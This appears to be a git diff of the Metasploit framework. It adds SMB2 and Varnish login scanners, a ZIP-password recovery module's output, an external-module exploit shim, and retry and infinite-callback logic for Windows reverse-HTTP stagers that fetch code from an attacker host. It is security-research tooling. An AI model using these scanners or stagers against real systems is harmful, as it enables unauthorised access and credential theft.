[*] Processing log entry for C:\WINDOWS\Desktop\thepasswordisaspace.zip
[+] File: 'C:\WINDOWS\Desktop\thepasswordisaspace.zip' -- Password: ' '
[*] Processing log entry for C:\WINDOWS\Desktop\earthbound.zip
[+] File: 'C:\WINDOWS\Desktop\earthbound.zip' -- Password: 'fuzzy pickles'
[*] Processing log entry for C:\WINDOWS\Desktop\this file is not encrypted.zip
[*] Did not find a password
ZIP Passwords
=============
File Path Password
--------- --------
C:\WINDOWS\Desktop\earthbound.zip fuzzy pickles
C:\WINDOWS\Desktop\private.zip priv8
C:\WINDOWS\Desktop\secret.zip my secret password!
C:\WINDOWS\Desktop\thepasswordisaspace.zip
[*] Post module execution completed
```
## Example Log Entry
An example dynazip.log log file entry is shown below:
```
--- DynaZIP ZIP Diagnostic Log - Version: 3.00.16 - 02/22/17 17:01:46 ---
Function: 5
lpszZIPFile: 0x00437538
C:\WINDOWS\Desktop\secret.zip
lpszItemList: 0x0059e878
"secret.txt"
lpMajorStatus: 0x00000000
lpMajorUserData: 0x00000000
lpMinorStatus: 0x00000000
lpMinorUserData: 0x00000000
dosifyFlag: 0
recurseFlag: 0
compFactor: 5
quietFlag: 1
pathForTempFlag: 0
lpszTempPath: 0x00000000
???
fixFlag: 0
fixHarderFlag: 0
includeVolumeFlag: 0
deleteOriginalFlag: 0
growExistingFlag: 0
noDirectoryNamesFlag: 0
convertLFtoCRLFFlag: 0
addCommentFlag: 0
lpszComment: 0x00000000
???
afterDateFlag: 0
lpszDate: 0x00000000
oldAsLatestFlag: 0
includeOnlyFollowingFlag: 0
lpszIncludeFollowing: 0x00000000
???
excludeFollowingFlag: 0
lpszExludeFollowing: 0x00000000
???
noDirectoryEntriesFlag: 0
includeSysHiddenFlag: 1
dontCompressTheseSuffixesFlag: 0
lpszStoreSuffixes: 0x00000000
???
encryptFlag: 1
lpszEncryptCode: 0x712185d4
my secret password!
lpMessageDisplay: 0x7120ca22
lpMessageDisplayData: 0x00000000
wMultiVolControl: 0x0000
wZipSubOptions: 0x0000
lResv1: 0x00000000
lResv2: 0x00000000
lpszExtProgTitle: 0x00000000
???
lpRenameProc: 0x71203919
lpRenameUserData: 0x0059eb8a
lpMemBlock: 0x004e3a0c
lMemBlockSize: 6
```

View File

@ -20,6 +20,8 @@ The process will use the Start-Process command of powershell to run a process as
- Requires Powershell
- Hidden Mode does not work with older powershell versions
- Interactive mode needs to be run from a meterpreter console
- Certain SYSTEM Services cannot run Start-Process with the -credential switch, causing the module to fail
- SYSTEM processes without I/O pipes cannot use interactive mode
## Examples

View File

@ -0,0 +1,142 @@
require 'metasploit/framework'
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'ruby_smb'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with the Server Messaging
# Block protocol.
class SMB2
include Metasploit::Framework::Tcp::Client
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
# Constants to be used in {Result#access_level}
module AccessLevels
# Administrative access. For SMB, this is defined as being
# able to successfully Tree Connect to the `ADMIN$` share.
# This definition is not without its problems, but suffices to
# conclude that such a user will most likely be able to use
# psexec.
ADMINISTRATOR = "Administrator"
# Guest access means our creds were accepted but the logon
# session is not associated with a real user account.
GUEST = "Guest"
end
CAN_GET_SESSION = true
DEFAULT_REALM = 'WORKSTATION'
#LIKELY_PORTS = [ 139, 445 ]
#LIKELY_SERVICE_NAMES = [ "smb" ]
PRIVATE_TYPES = [ :password, :ntlm_hash ]
REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
module StatusCodes
CORRECT_CREDENTIAL_STATUS_CODES = [
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
].freeze.map(&:freeze)
end
# @!attribute dispatcher
# @return [RubySMB::Dispatcher::Socket]
attr_accessor :dispatcher
# If login is successul and {Result#access_level} is not set
# then arbitrary credentials are accepted. If it is set to
# Guest, then arbitrary credentials are accepted, but given
# Guest permissions.
#
# @param domain [String] Domain to authenticate against. Use an
# empty string for local accounts.
# @return [Result]
def attempt_bogus_login(domain)
if defined?(@result_for_bogus)
return @result_for_bogus
end
cred = Credential.new(
public: Rex::Text.rand_text_alpha(8),
private: Rex::Text.rand_text_alpha(8),
realm: domain
)
@result_for_bogus = attempt_login(cred)
end
# (see Base#attempt_login)
def attempt_login(credential)
begin
connect
rescue ::Rex::ConnectionError => e
result = Result.new(
credential:credential,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: e,
host: host,
port: port,
protocol: 'tcp',
service_name: 'smb'
)
return result
end
proof = nil
begin
realm = credential.realm || ""
client = RubySMB::Client.new(self.dispatcher, username: credential.public, password: credential.private, domain: realm)
status_code = client.login
case status_code.name
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
status = Metasploit::Model::Login::Status::DENIED_ACCESS
when 'STATUS_SUCCESS'
status = Metasploit::Model::Login::Status::SUCCESSFUL
when 'STATUS_ACCOUNT_LOCKED_OUT'
status = Metasploit::Model::Login::Status::LOCKED_OUT
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
status = Metasploit::Model::Login::Status::INCORRECT
else
status = Metasploit::Model::Login::Status::INCORRECT
end
rescue ::Rex::ConnectionError => e
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
proof = e
end
result = Result.new(credential: credential, status: status, proof: proof)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'smb'
result
end
def connect
disconnect
self.sock = super
self.dispatcher = RubySMB::Dispatcher::Socket.new(self.sock)
end
def set_sane_defaults
self.connection_timeout = 10 if self.connection_timeout.nil?
self.max_send_size = 0 if self.max_send_size.nil?
self.send_delay = 0 if self.send_delay.nil?
end
end
end
end
end

View File

@ -0,0 +1,55 @@
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/varnish/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with Varnish CLI.
class VarnishCLI
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
include Metasploit::Framework::Varnish::Client
DEFAULT_PORT = 6082
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'varnishcli' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
def attempt_login(credential)
begin
connect
success = login(credential.private)
close_session
disconnect
rescue RuntimeError => e
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
rescue Rex::ConnectionError, EOFError, Timeout::Error
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
result = Result.new(credential: credential, status: status)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'varnishcli'
result
end
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
end
end
end
end

View File

@ -20,6 +20,7 @@ module Metasploit::Framework::Spec::Constants
# and not dynamically loaded code
PERSISTENT_CHILD_CONSTANT_NAMES = %w{
Error
External
Loader
MetasploitClassCompatibilityError
Namespace

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/exploit/tcp'
module Metasploit
module Framework
module Varnish
module Client
@@AUTH_REQUIRED_REGEX = /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required\./ # 107 auth
@@AUTH_SUCCESS_REGEX = /200 \d+/ # 200 ok
def require_auth?
# function returns false if no auth is required, else the challenge string
res = sock.get_once # varnish can give the challenge on connect, so check if we have it already
if res && res =~ @@AUTH_REQUIRED_REGEX
return $1
end
# Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff for debugging
sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n")
res = sock.get_once # grab challenge
if res && res =~ @@AUTH_REQUIRED_REGEX
return $1
end
return false
end
def login(pass)
# based on https://www.varnish-cache.org/trac/wiki/CLI
begin
challenge = require_auth?
if !!challenge
response = Digest::SHA256.hexdigest("#{challenge}\n#{pass.strip}\n#{challenge}\n")
sock.put("auth #{response}\n")
res = sock.get_once
if res && res =~ @@AUTH_SUCCESS_REGEX
return true
else
return false
end
else
raise RuntimeError, "No Auth Required"
end
rescue Timeout::Error
raise RuntimeError, "Varnish Login timeout"
end
end
def close_session
sock.put('quit')
end
end
end
end
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.14.3"
VERSION = "4.14.8"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -157,6 +157,26 @@ class HWBridge < Rex::Post::HWBridge::Client
console.disable_output = original
end
#
# Loads the zigbee extension
#
def load_zigbee
original = console.disable_output
console.disable_output = true
console.run_single('load zigbee')
console.disable_output = original
end
#
# Loads the rftransceiver extension
#
def load_rftransceiver
original = console.disable_output
console.disable_output = true
console.run_single('load rftransceiver')
console.disable_output = original
end
#
# Load custom methods provided by the hardware
#

View File

@ -0,0 +1,113 @@
module Msf
###
#
# This module provides a complete port of the libc rand() and srand() functions.
# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might
# be useful for any other module that needs to emulate C's random number generator.
#
# Author: Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
#
###
module Auxiliary::CRand
attr_accessor :randtbl
attr_accessor :unsafe_state
####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3
def initialize(info = {})
super
@randtbl =
[
# we omit TYPE_3 from here, not needed
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
-615974602, 344556628, 939512070, -1249116260, 1507946756,
-812545463, 154635395, 1388815473, -1926676823, 525320961,
-1009028674, 968117788, -123449607, 1284210865, 435012392,
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
-205601318,
]
@unsafe_state = {
"fptr" => SEP_3,
"rptr" => 0,
"state" => 0,
"rand_type" => TYPE_3,
"rand_deg" => DEG_3,
"rand_sep" => SEP_3,
"end_ptr" => DEG_3
}
end
# Emulate the behaviour of C's srand
def srandom_r (seed)
state = @randtbl
if seed == 0
seed = 1
end
state[0] = seed
dst = 0
word = seed
kc = DEG_3
for i in 1..(kc-1)
hi = word / 127773
lo = word % 127773
word = 16807 * lo - 2836 * hi
if (word < 0)
word += 2147483647
end
dst += 1
state[dst] = word
end
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
@unsafe_state['rptr'] = 0
kc *= 10
kc -= 1
while (kc >= 0)
random_r
kc -= 1
end
end
# Emulate the behaviour of C's rand
def random_r
buf = @unsafe_state
state = buf['state']
fptr = buf['fptr']
rptr = buf['rptr']
end_ptr = buf['end_ptr']
val = @randtbl[fptr] += @randtbl[rptr]
result = (val >> 1) & 0x7fffffff
fptr += 1
if (fptr >= end_ptr)
fptr = state
rptr += 1
else
rptr += 1
if (rptr >= end_ptr)
rptr = state
end
end
buf['fptr'] = fptr
buf['rptr'] = rptr
result
end
end
end

View File

@ -4,6 +4,7 @@
# Auxiliary mixins
#
require 'msf/core/auxiliary/auth_brute'
require 'msf/core/auxiliary/crand'
require 'msf/core/auxiliary/dos'
require 'msf/core/auxiliary/drdos'
require 'msf/core/auxiliary/fuzzer'

View File

@ -22,7 +22,8 @@ module Msf
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
OptString.new('SMSMESSAGE', [true, 'The text message to send'])
OptString.new('SMSMESSAGE', [true, 'The text message to send']),
OptString.new('SMSSUBJECT', [false, 'The text subject', ''])
], Auxiliary::Sms)
register_advanced_options(
@ -42,10 +43,11 @@ module Msf
# sms.send_text_to_phones(numbers, 'Hello from Gmail')
#
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
# @param subject [String] The text subject
# @param message [String] The text to send.
#
# @return [void]
def send_text(phone_numbers, message)
def send_text(phone_numbers, subject, message)
smtp = Rex::Proto::Sms::Model::Smtp.new(
address: datastore['SMTPADDRESS'],
port: datastore['SMTPPORT'],
@ -57,7 +59,7 @@ module Msf
carrier = datastore['SMSCARRIER'].to_sym
sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp)
sms.send_text_to_phones(phone_numbers, message)
sms.send_text_to_phones(phone_numbers, subject, message)
end
end

View File

@ -81,6 +81,7 @@ module Msf::ModuleManager::Cache
if module_info
parent_path = module_info[:parent_path]
# XXX borked
loaders.each do |loader|
if loader.loadable?(parent_path)
type = module_info[:type]
@ -88,7 +89,7 @@ module Msf::ModuleManager::Cache
loaded = loader.load_module(parent_path, type, reference_name, :force => true)
break
break if loaded
end
end
end
@ -162,11 +163,9 @@ module Msf::ModuleManager::Cache
# Skip cached modules that are not in our allowed load paths
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
# join to '' so that typed_path_prefix starts with file separator
typed_path_suffix = File.join('', typed_path)
escaped_typed_path = Regexp.escape(typed_path_suffix)
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
# The load path is assumed to be the next level above the type directory
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
module_info_by_path[path] = {
:reference_name => reference_name,

View File

@ -8,6 +8,7 @@ require 'active_support/concern'
# Project
#
require 'msf/core/modules/loader/directory'
require 'msf/core/modules/loader/executable'
# Deals with loading modules for the {Msf::ModuleManager}
module Msf::ModuleManager::Loading
@ -19,7 +20,8 @@ module Msf::ModuleManager::Loading
# Classes that can be used to load modules.
LOADER_CLASSES = [
Msf::Modules::Loader::Directory
Msf::Modules::Loader::Directory,
Msf::Modules::Loader::Executable # TODO: XXX: When this is the first loader we can load normal exploits, but not payloads
]
def file_changed?(path)
@ -115,8 +117,6 @@ module Msf::ModuleManager::Loading
loaders.each do |loader|
if loader.loadable?(path)
count_by_type = loader.load_modules(path, options)
break
end
end

View File

@ -0,0 +1,7 @@
# -*- coding: binary -*-
# Namespace for loading external Metasploit modules
module Msf::Modules::External
end

100
lib/msf/core/modules/external/bridge.rb vendored Normal file
View File

@ -0,0 +1,100 @@
# -*- coding: binary -*-
require 'msf/core/modules/external'
require 'msf/core/modules/external/message'
require 'open3'
class Msf::Modules::External::Bridge
attr_reader :path, :running
def meta
@meta ||= describe
end
def run(datastore)
unless self.running
m = Msf::Modules::External::Message.new(:run)
m.params = datastore.dup
send(m)
self.running = true
end
end
def get_status
if self.running
n = receive_notification
if n && n['params']
n['params']
else
close_ios
self.running = false
n['response'] if n
end
end
end
def initialize(module_path)
self.running = false
self.path = module_path
end
protected
attr_writer :path, :running
attr_accessor :ios
def describe
resp = send_receive(Msf::Modules::External::Message.new(:describe))
close_ios
resp['response']
end
# XXX TODO non-blocking writes, check write lengths, non-blocking JSON parse loop read
def send_receive(message)
send(message)
read_json(message.id, self.ios[1])
end
def send(message)
input, output, status = ::Open3.popen3([self.path, self.path])
self.ios = [input, output, status]
case Rex::ThreadSafe.select(nil, [input], nil, 0.1)
when nil
raise "Cannot run module #{self.path}"
when [[], [input], []]
m = message.to_json
write_message(input, m)
else
raise "Error running module #{self.path}"
end
end
def receive_notification
input, output, status = self.ios
case Rex::ThreadSafe.select([output], nil, nil, 10)
when nil
nil
when [[output], [], []]
read_json(nil, output)
end
end
def write_message(fd, json)
fd.write(json)
end
def read_json(id, fd)
begin
resp = fd.readpartial(10_000)
JSON.parse(resp)
rescue EOFError => e
{}
end
end
def close_ios
input, output, status = self.ios
[input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
end
end

View File

@ -0,0 +1,24 @@
# -*- coding: binary -*-
require 'msf/core/modules/external'
require 'base64'
require 'json'
class Msf::Modules::External::Message
attr_reader :method, :id
attr_accessor :params
def initialize(m)
self.method = m
self.params = {}
self.id = Base64.strict_encode64(SecureRandom.random_bytes(16))
end
def to_json
JSON.generate({jsonrpc: '2.0', id: self.id, method: self.method, params: self.params.to_h})
end
protected
attr_writer :method, :id
end

103
lib/msf/core/modules/external/shim.rb vendored Normal file
View File

@ -0,0 +1,103 @@
# -*- coding: binary -*-
require 'msf/core/modules/external'
require 'msf/core/modules/external/bridge'
class Msf::Modules::External::Shim
def self.generate(module_path)
mod = Msf::Modules::External::Bridge.new(module_path)
return '' unless mod.meta
case mod.meta['type']
when 'remote_exploit.cmd_stager.wget'
s = remote_exploit_cmd_stager(mod)
File.open('/tmp/module', 'w') {|f| f.write(s)}
s
end
end
def self.remote_exploit_cmd_stager(mod)
%Q|
require 'msf/core/modules/external/bridge'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => #{mod.meta['name'].dump},
'Description' => #{mod.meta['description'].dump},
'Author' =>
[
#{mod.meta['authors'].map(&:dump).join(', ')}
],
'License' => MSF_LICENSE,
'References' =>
[
#{mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(', ')}
],
'DisclosureDate' => #{mod.meta['date'].dump},
'Privileged' => #{mod.meta['privileged'].inspect},
'Platform' => [#{mod.meta['targets'].map{|t| t['platform'].dump}.uniq.join(', ')}],
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
#{mod.meta['targets'].map do |t|
%Q^[#{t['platform'].dump} + ' ' + #{t['arch'].dump},
{'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]^
end.join(', ')}
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 5 }
))
register_options([
#{mod.meta['options'].map do |n, o|
"Opt#{o['type'].capitalize}.new(#{n.dump},
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
end.join(', ')}
], self.class)
end
def execute_command(cmd, opts)
mod = Msf::Modules::External::Bridge.new(#{mod.path.dump})
mod.run(datastore.merge(command: cmd))
wait_status(mod)
true
end
def exploit
print_status("Exploiting...")
execute_cmdstager({:flavor => :wget})
end
def wait_status(mod)
while mod.running
m = mod.get_status
if m
case m['level']
when 'error'
print_error m['message']
when 'warning'
print_warning m['message']
when 'good'
print_good m['message']
when 'info'
print_status m['message']
when 'debug'
vprint_status m['message']
else
print_status m['message']
end
end
end
end
end
|
end
end

View File

@ -11,11 +11,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
# @return [true] if path is a directory
# @return [false] otherwise
def loadable?(path)
if File.directory?(path)
true
else
false
end
File.directory?(path)
end
protected
@ -35,8 +31,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
full_entry_path = ::File.join(path, entry)
type = entry.singularize
unless ::File.directory?(full_entry_path) and
module_manager.type_enabled? type
unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type)
next
end

View File

@ -0,0 +1,87 @@
# -*- coding: binary -*-
require 'msf/core/modules/loader'
require 'msf/core/modules/loader/base'
require 'msf/core/modules/external/shim'
# Concerns loading executables from a directory as modules
class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base
# Returns true if the path is a directory
#
# @param (see Msf::Modules::Loader::Base#loadable?)
# @return [true] if path is a directory
# @return [false] otherwise
def loadable?(path)
File.directory?(path)
end
protected
# Yields the module_reference_name for each module file found under the directory path.
#
# @param [String] path The path to the directory.
# @param [Hash] opts Input Hash.
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
# @yieldparam [String] path The path to the directory.
# @yieldparam [String] type The type correlated with the directory under path.
# @yieldparam module_reference_name (see Msf::Modules::Loader::Base#each_module_reference_name)
# @return (see Msf::Modules::Loader::Base#each_module_reference_name)
def each_module_reference_name(path, opts={})
whitelist = opts[:whitelist] || []
::Dir.foreach(path) do |entry|
full_entry_path = ::File.join(path, entry)
type = entry.singularize
unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type)
next
end
full_entry_pathname = Pathname.new(full_entry_path)
# Try to load modules from all the files in the supplied path
Rex::Find.find(full_entry_path) do |entry_descendant_path|
if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path)
entry_descendant_pathname = Pathname.new(entry_descendant_path)
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
# The module_reference_name doesn't have a file extension
module_reference_name = File.join(File.dirname(relative_entry_descendant_path), File.basename(relative_entry_descendant_path, '.*'))
yield path, type, module_reference_name
end
end
end
end
# Returns the full path to the module file on disk.
#
# @param (see Msf::Modules::Loader::Base#module_path)
# @return [String] Path to module file on disk.
def module_path(parent_path, type, module_reference_name)
# The extension is lost on loading, hit the disk to recover :(
partial_path = File.join(DIRECTORY_BY_TYPE[type], module_reference_name)
full_path = File.join(parent_path, partial_path)
Rex::Find.find(File.dirname(full_path)) do |mod|
if File.basename(full_path, '.*') == File.basename(mod, '.*')
return File.join(File.dirname(full_path), File.basename(mod))
end
end
''
end
# Loads the module content from the on disk file.
#
# @param (see Msf::Modules::Loader::Base#read_module_content)
# @return (see Msf::Modules::Loader::Base#read_module_content)
def read_module_content(parent_path, type, module_reference_name)
full_path = module_path(parent_path, type, module_reference_name)
unless File.executable?(full_path)
load_error(full_path, Errno::ENOENT.new)
return ''
end
Msf::Modules::External::Shim.generate(full_path)
end
end

View File

@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@ -47,7 +48,8 @@ module Payload::Windows::ReverseHttp
ssl: opts[:ssl] || false,
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait']
}
# Add extra options if we have enough space
@ -153,10 +155,12 @@ module Payload::Windows::ReverseHttp
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
#
def asm_reverse_http(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
retry_count = opts[:retry_count].to_i
retry_wait = opts[:retry_wait].to_i * 1000
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
@ -315,15 +319,21 @@ module Payload::Windows::ReverseHttp
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi
^
if retry_count > 0
asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
^
end
asm << %Q^
send_request:
^
if opts[:ssl]
asm << %Q^
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@ -351,12 +361,28 @@ module Payload::Windows::ReverseHttp
test eax,eax
jnz allocate_memory
set_wait:
push #{retry_wait} ; dwMilliseconds
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
call ebp ; Sleep( dwMilliseconds );
^
if retry_count > 0
asm << %Q^
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, bail out
^
else
asm << %Q^
try_it_again:
jmp send_request
; retry forever
^
end
if opts[:exitfunk]
asm << %Q^

View File

@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@ -52,7 +53,8 @@ module Payload::Windows::ReverseHttp_x64
ssl: opts[:ssl] || false,
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait']
}
# add extended options if we do have enough space
@ -152,10 +154,12 @@ module Payload::Windows::ReverseHttp_x64
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
#
def asm_reverse_http(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
retry_count = opts[:retry_count].to_i
retry_wait = opts[:retry_wait].to_i * 1000
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
@ -320,15 +324,19 @@ module Payload::Windows::ReverseHttp_x64
mov rsi, rax
^
if retry_count > 1
if retry_count > 0
asm << %Q^
push #{retry_count}
pop rdi
retryrequest:
^
end
asm << %Q^
retryrequest:
^
if opts[:ssl]
asm << %Q^
internetsetoption:
@ -358,9 +366,15 @@ module Payload::Windows::ReverseHttp_x64
call rbp
test eax, eax
jnz allocate_memory
set_wait:
mov rcx, #{retry_wait} ; dwMilliseconds
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call rbp ; Sleep( dwMilliseconds );
^
if retry_count > 1
if retry_count > 0
asm << %Q^
try_it_again:
dec rdi
@ -369,7 +383,8 @@ module Payload::Windows::ReverseHttp_x64
^
else
asm << %Q^
jmp failure
jmp retryrequest
; retry forever
^
end

View File

@ -1,4 +1,7 @@
# -*- coding: binary -*-
module Msf::Post::Hardware
require 'msf/core/post/hardware/automotive/uds'
require 'msf/core/post/hardware/automotive/dtc'
require 'msf/core/post/hardware/zigbee/utils'
require 'msf/core/post/hardware/rftransceiver/rftransceiver'
end

File diff suppressed because it is too large Load Diff

View File

@ -13,15 +13,16 @@ module UDS
#
# @param id [String] Hex value as string. Example: 7e0
# @param hash [Hash] Hash that includes "Packets" => [ { "ID" => "0xXXX", "DATA => [ "XX", "XX" ] } ]
# @param start_offset [Integer] First packet start offset after meta data
#
# @return [Array] Just the data portion of an ISO-TP response represented as Hex Strings
#
def response_hash_to_data_array(id, hash)
def response_hash_to_data_array(id, hash, start_offset = 5)
data = []
return data if not hash
return data unless hash
bad_count = 0
if hash.has_key? "Packets"
if not hash["Packets"].size > 1 # Not multiple packets
if hash.key? "Packets"
unless hash["Packets"].size > 1 # Not multiple packets
pktdata = hash["Packets"][0]["DATA"]
if pktdata[1] == 0x7F
print_line("Packet response was an error")
@ -32,14 +33,14 @@ module UDS
end
left2combine = hash["Packets"].size
counter = 0
while left2combine > 0 and bad_count < (hash["Packets"].size * 2)
while left2combine.positive? && (bad_count < (hash["Packets"].size * 2))
# print_line("DEBUG Current status combine=#{left2combine} data=#{data.inspect}")
hash["Packets"].each do |pkt|
if pkt.has_key? "ID" and pkt["ID"].hex == id.hex
if pkt.has_key? "DATA"
if counter == 0 # Get starting packet
if (pkt.key? "ID") && pkt["ID"].hex == id.hex
if pkt.key? "DATA"
if counter.zero? # Get starting packet
if pkt["DATA"][0] == "10"
data += pkt["DATA"][5,3]
data += pkt["DATA"][start_offset, 8 - start_offset]
left2combine -= 1
counter += 1
else
@ -72,40 +73,40 @@ module UDS
# Shows the vehicles current data
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param pid [Integer] Integer of the PID to get data about
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] client.automotive response
def get_current_data(bus, srcId, dstId, pid, opt={})
if not client.automotive
def get_current_data(bus, src_id, dst_id, pid, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
bus = client.automotive.active_bus if not bus
if not bus
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
